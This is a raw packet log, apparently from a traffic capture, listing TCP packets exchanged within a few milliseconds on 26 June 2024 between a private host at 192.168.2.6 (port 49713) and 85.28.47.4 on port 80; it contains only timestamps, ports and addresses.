Jun 26, 2024 08:16:17.959908962 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959908962 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.959929943 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960017920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960133076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960146904 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960181952 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960186958 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960186958 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960197926 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960212946 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960226059 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960239887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960253954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960267067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960280895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960288048 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960288048 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960288048 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960295916 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960311890 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960320950 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960326910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960341930 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960345030 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960364103 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960377932 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960378885 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960393906 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960402966 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960407972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960422993 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960429907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960429907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960465908 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960521936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960537910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960551023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960602045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960602045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960664988 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960680962 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960695028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960709095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960710049 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960722923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960737944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960752010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960757017 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960788012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960803986 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960809946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960809946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960809946 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960819960 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960834026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960875034 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960875034 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960875034 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960875034 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960891008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960906982 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960922956 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960937977 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960952044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960963011 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960963011 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960963011 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960968018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960983992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.960998058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.960999012 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961014986 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961030006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961044073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961059093 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961066961 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961066961 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961066961 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961074114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961090088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961105108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961112976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961112976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961121082 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961138010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961138964 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961160898 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961178064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961182117 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961194038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961208105 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961211920 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961224079 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961225986 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961240053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961272001 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961272001 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961393118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961633921 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961648941 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961663008 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961678028 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961692095 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961695910 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961707115 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961721897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961764097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961766958 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961766958 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961766958 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961777925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961793900 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961808920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961822033 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961828947 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961829901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961837053 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961852074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961853027 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961853027 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961867094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961880922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961889029 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961896896 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961910963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961925030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961939096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961952925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961966038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961967945 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961967945 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961967945 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961981058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.961990118 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.961996078 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.962009907 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.962011099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.962027073 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.962040901 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.962050915 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.962050915 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.962057114 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.962073088 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.962088108 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.962100029 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.962102890 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.962102890 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.962141991 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.962157011 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.962340117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.962517023 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.964946985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.964962006 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.964977026 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965084076 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.965580940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965604067 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965617895 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965652943 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.965673923 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.965682030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965697050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965711117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965727091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965737104 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.965773106 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.965797901 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.965812922 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965842009 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965864897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965878963 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965893030 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965907097 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965920925 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965934992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965939045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.965939045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.965939045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.965950966 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965986013 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.965986013 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.965986013 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966012001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966017962 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966017962 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966033936 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966044903 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966049910 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966065884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966073990 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966084003 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966093063 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966120005 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966129065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966145992 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966151953 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966166973 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966181040 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966196060 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966201067 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966211081 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966224909 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966239929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966264009 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966264009 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966264009 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966285944 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966285944 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966309071 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966324091 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966337919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966351986 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966365099 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966378927 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966393948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966397047 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966397047 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966397047 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966408968 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966443062 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966475964 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966533899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966548920 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966563940 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966578007 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966593027 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966608047 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966613054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966613054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966626883 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966649055 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966649055 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966664076 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966680050 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966694117 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966708899 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966721058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966721058 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966726065 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966737986 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966742992 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966788054 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966799974 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966804981 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966815948 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966831923 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966847897 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966861010 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966866016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966866016 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966876984 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966898918 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966898918 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966902971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966928005 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966928959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966957092 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966964960 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966979980 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966995001 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.966998100 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.966998100 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967010975 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967025995 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967065096 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967071056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967071056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967071056 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967080116 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967097998 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967112064 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967128038 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967130899 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967130899 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967176914 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967192888 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967209101 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967222929 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967236996 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967238903 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967238903 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967251062 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967264891 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967266083 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967293978 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967310905 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967324972 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967339993 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967353106 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967367887 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967370033 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967381954 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967397928 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967398882 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967398882 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967417002 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967432976 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967437983 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967453957 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967468023 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967483044 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967488050 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967488050 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967499018 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967530966 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967531919 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967617035 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967632055 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967645884 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967659950 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967674971 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967689037 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967704058 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967720985 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967730045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967730045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967730045 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967736959 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967752934 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967771053 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967786074 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967801094 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967803955 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967803955 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967817068 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.967829943 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967869043 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.967869043 CEST	49713	80	192.168.2.6	85.28.47.4
Jun 26, 2024 08:16:17.970094919 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970110893 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970125914 CEST	80	49713	85.28.47.4	192.168.2.6
Jun 26, 2024 08:16:17.970176935 CEST	49713	80	192.168.2.6	85.28.47.4
